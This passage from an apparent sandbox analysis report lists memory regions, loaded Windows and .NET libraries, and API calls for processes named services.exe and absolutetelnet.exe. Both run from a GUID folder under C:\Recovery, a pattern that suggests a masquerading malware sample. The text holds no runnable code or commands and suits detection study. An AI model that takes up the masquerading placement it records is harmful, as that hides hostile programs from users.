mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7880 start_va = 0x7fefe680000 end_va = 0x7fefe748fff monitored = 0 entry_point = 0x7fefe6fa874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 7881 start_va = 0x250000 end_va = 0x278fff monitored = 0 entry_point = 0x251010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7882 start_va = 0x290000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 7883 start_va = 0x690000 end_va = 0x817fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 7884 start_va = 0x250000 end_va = 0x278fff monitored = 0 entry_point = 0x251010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7995 start_va = 0x7fefdc70000 end_va = 0x7fefdc9dfff monitored = 0 entry_point = 0x7fefdc71010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7996 start_va = 0x7fefe180000 end_va = 0x7fefe288fff monitored = 0 entry_point = 0x7fefe181064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 7997 start_va = 0x820000 end_va = 0x9a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000820000" filename = "" Region: id = 7998 start_va = 0x9b0000 end_va = 0x1daffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009b0000" filename = "" Region: id = 7999 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 8000 start_va = 0x130000 end_va = 0x130fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8001 start_va = 0x1db0000 end_va = 0x1e7ffff monitored = 1 entry_point = 0x1e7d67e region_type = mapped_file name = "services.exe" filename = "\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe") Region: id = 8212 start_va = 0x1db0000 end_va = 0x1e7ffff monitored = 1 entry_point = 0x1e7d67e region_type = mapped_file name = "services.exe" filename = "\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe") Region: id = 8213 start_va = 0x7fefca60000 end_va = 0x7fefca6bfff monitored = 0 entry_point = 0x7fefca61064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8241 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8260 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8472 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8473 start_va = 0x7fefa780000 end_va = 0x7fefa795fff monitored = 0 entry_point = 0x7fefa78c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8474 start_va = 0x7fefa6c0000 end_va = 0x7fefa77cfff monitored = 0 entry_point = 0x7fefa747db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8519 start_va = 0x140000 end_va = 0x140fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 8520 start_va = 0x250000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 8521 start_va = 0x260000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 8522 start_va = 0x7fe94a10000 end_va = 0x7fe94a1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a10000" filename = "" Region: id = 8523 start_va = 0x7fe94a20000 end_va = 0x7fe94a2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a20000" filename = "" Region: id = 8524 start_va = 0x7fe94a30000 end_va = 0x7fe94abffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a30000" filename = "" Region: id = 8525 start_va = 0x7fe94ac0000 end_va = 0x7fe94b2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94ac0000" filename = "" Region: id = 8526 start_va = 0x270000 end_va = 0x270fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 8527 start_va = 0x280000 end_va = 0x280fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 8528 start_va = 0x1db0000 end_va = 0x1e6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001db0000" filename = "" Region: id = 8529 start_va = 0x1e70000 end_va = 0x204ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e70000" filename = "" Region: id = 8562 start_va = 0x2120000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002120000" filename = "" Region: id = 8563 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 8564 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 8565 start_va = 0x2220000 end_va = 0x1a21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 8603 start_va = 0x1a220000 end_va = 0x1a59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a220000" filename = "" Region: id = 8604 start_va = 0x1e70000 end_va = 0x1f70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e70000" filename = "" Region: id = 8605 start_va = 0x1fd0000 end_va = 0x204ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 8606 start_va = 0x1a640000 end_va = 0x1a73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a640000" filename = "" Region: id = 8607 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 8632 start_va = 0x1a800000 end_va = 0x1a8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a800000" filename = "" Region: id = 8633 start_va = 0x1a900000 end_va = 0x1a9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a900000" filename = "" Region: id = 8634 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 8655 start_va = 0x1aa00000 end_va = 0x1accefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8663 start_va = 0x7fef2a50000 end_va = 0x7fef404cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8710 start_va = 0x7fefdf50000 end_va = 0x7fefe152fff monitored = 0 entry_point = 0x7fefdf73330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8711 start_va = 0x2050000 end_va = 0x20ccfff monitored = 0 entry_point = 0x205cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8712 start_va = 0x2050000 end_va = 0x20ccfff monitored = 0 entry_point = 0x205cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8741 start_va = 0x7fefd790000 end_va = 0x7fefd79efff monitored = 0 entry_point = 0x7fefd791010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8742 start_va = 0x7fefc1f0000 end_va = 0x7fefc245fff monitored = 0 entry_point = 0x7fefc1fbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8743 start_va = 0x1acd0000 end_va = 0x1ae6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acd0000" filename = "" Region: id = 8807 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8808 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8822 start_va = 0x7fe94b30000 end_va = 0x7fe94baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b30000" filename = "" Region: id = 8854 start_va = 0x7fe94bb0000 end_va = 0x7fe94bbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94bb0000" filename = "" Region: id = 8855 start_va = 0x7fe94bc0000 end_va = 0x7fe94bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94bc0000" filename = "" Region: id = 8869 start_va = 0x7fefbbc0000 end_va = 0x7fefbbc2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8906 start_va = 0x7fef5ab0000 end_va = 0x7fef5bfefff monitored = 1 entry_point = 0x7fef5ab1090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8907 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 8918 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 8919 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 8920 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 8964 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 8965 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 8966 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 8993 start_va = 0x2050000 end_va = 0x211ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002050000" filename = "" Region: id = 9023 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9054 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9055 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 9056 start_va = 0x5c0000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 9088 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9089 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9110 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9125 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9137 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9163 start_va = 0x1a5a0000 end_va = 0x1a601fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9191 start_va = 0x1ad30000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 9192 start_va = 0x1adf0000 end_va = 0x1ae6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001adf0000" filename = "" Region: id = 9193 start_va = 0x1b020000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b020000" filename = "" Region: id = 9194 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 9195 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 9309 start_va = 0x1b200000 end_va = 0x1b2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b200000" filename = "" Region: id = 9310 start_va = 0x7fefd190000 end_va = 0x7fefd1a7fff monitored = 0 entry_point = 0x7fefd193b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9311 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9312 start_va = 0x5c0000 end_va = 0x604fff monitored = 0 entry_point = 0x5c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9313 start_va = 0x5c0000 end_va = 0x604fff monitored = 0 entry_point = 0x5c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9314 start_va = 0x5c0000 end_va = 0x604fff monitored = 0 entry_point = 0x5c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9315 start_va = 0x5c0000 end_va = 0x604fff monitored = 0 entry_point = 0x5c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9316 start_va = 0x5c0000 end_va = 0x604fff monitored = 0 entry_point = 0x5c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9317 start_va = 0x7fefce90000 end_va = 0x7fefced6fff monitored = 0 entry_point = 0x7fefce91064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9389 start_va = 0x7fefd840000 end_va = 0x7fefd853fff monitored = 0 entry_point = 0x7fefd8410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9390 start_va = 0x1b300000 end_va = 0x1b3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b300000" filename = "" Region: id = 9391 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9418 start_va = 0x1aeb0000 end_va = 0x1afaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aeb0000" filename = "" Region: id = 9419 start_va = 0x1b440000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b440000" filename = "" Region: id = 9420 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9421 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9457 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9517 start_va = 0x7fef1de0000 end_va = 0x7fef2a4efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9532 start_va = 0x7fef58b0000 end_va = 0x7fef5aa4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9545 start_va = 0x7fef0d30000 end_va = 0x7fef1dd5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9562 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9577 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 9636 start_va = 0x7fefbba0000 end_va = 0x7fefbbb5fff monitored = 1 entry_point = 0x7fefbbae5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9637 start_va = 0x1b540000 end_va = 0x1b811fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9638 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9639 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 9640 start_va = 0x5c0000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 9641 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 9642 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 9643 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 9644 start_va = 0x600000 end_va = 0x60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 9645 start_va = 0x1db0000 end_va = 0x1dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001db0000" filename = "" Region: id = 9646 start_va = 0x1df0000 end_va = 0x1e6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001df0000" filename = "" Region: id = 9647 start_va = 0x1dc0000 end_va = 0x1dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 9650 start_va = 0x1dd0000 end_va = 0x1ddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dd0000" filename = "" Region: id = 9651 start_va = 0x1de0000 end_va = 0x1deffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001de0000" filename = "" Region: id = 9652 start_va = 0x1f80000 end_va = 0x1f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 9653 start_va = 0x1f90000 end_va = 0x1f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f90000" filename = "" Thread: id = 387 os_tid = 0x5d0 [0262.834] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0276.042] EtwEventRegister (in: ProviderId=0x22258a0, EnableCallback=0x20a135c, CallbackContext=0x0, RegHandle=0x2225880 | out: RegHandle=0x2225880) returned 0x0 [0277.149] EtwEventRegister (in: ProviderId=0x222a028, EnableCallback=0x20a13ac, CallbackContext=0x0, RegHandle=0x222a008 | out: RegHandle=0x222a008) returned 0x0 [0279.009] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0xf4140*=0xd8, lpdwindex=0x24e664 | out: lpdwindex=0x24e664) returned 0x0 [0280.092] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0xf4140*=0xd8, lpdwindex=0x24e664) Thread: id = 452 os_tid = 0x818 Thread: id = 458 os_tid = 0x830 [0263.057] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 465 os_tid = 0x84c Thread: id = 482 os_tid = 0x898 [0278.240] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0278.242] CoGetContextToken (in: pToken=0x1b11fc50 | out: pToken=0x1b11fc50) returned 0x0 [0278.242] CObjectContext::QueryInterface () returned 0x0 [0278.242] CObjectContext::GetCurrentThreadType () returned 0x0 [0278.242] Release () returned 0x0 [0278.243] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0278.243] CoUninitialize () [0288.670] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b11e078 | out: phkResult=0x1b11e078*=0x0) returned 0x2 [0288.670] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0288.677] GetFullPathNameW (in: lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe", nBufferLength=0x105, lpBuffer=0x1b11ebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe", lpFilePart=0x0) returned 0x3d Thread: id = 483 os_tid = 0x89c Thread: id = 513 os_tid = 0x918 Thread: id = 526 os_tid = 0x950 Thread: id = 527 os_tid = 0x954 Thread: id = 528 os_tid = 0x958 [0280.089] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0280.090] CoGetContextToken (in: pToken=0x1b53fbd0 | out: pToken=0x1b53fbd0) returned 0x0 [0280.090] CObjectContext::QueryInterface () returned 0x0 [0280.090] CObjectContext::GetCurrentThreadType () returned 0x0 [0280.090] Release () returned 0x0 [0280.090] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0280.091] CoUninitialize () Process: id = "90" image_name = "absolutetelnet.exe" filename = "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe" page_root = "0x2181a000" os_pid = "0x5dc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4e8" cmd_line = "C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fc5b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7503 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7504 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7505 start_va = 0x150000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 7506 start_va = 0x9b0000 end_va = 0xa85fff monitored = 1 entry_point = 0xa7d67e region_type = mapped_file name = "absolutetelnet.exe" filename = "\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe") Region: id = 7507 start_va = 0x77950000 end_va = 0x77af8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7508 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7509 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7510 start_va = 0x7feffc70000 end_va = 0x7feffc70fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7511 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7512 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 7513 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 7514 start_va = 0x250000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 7515 start_va = 0x7fefa650000 end_va = 0x7fefa6befff monitored = 1 entry_point = 0x7fefa651134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7516 start_va = 0x77730000 end_va = 0x7784efff monitored = 0 entry_point = 0x77745340 region_type = 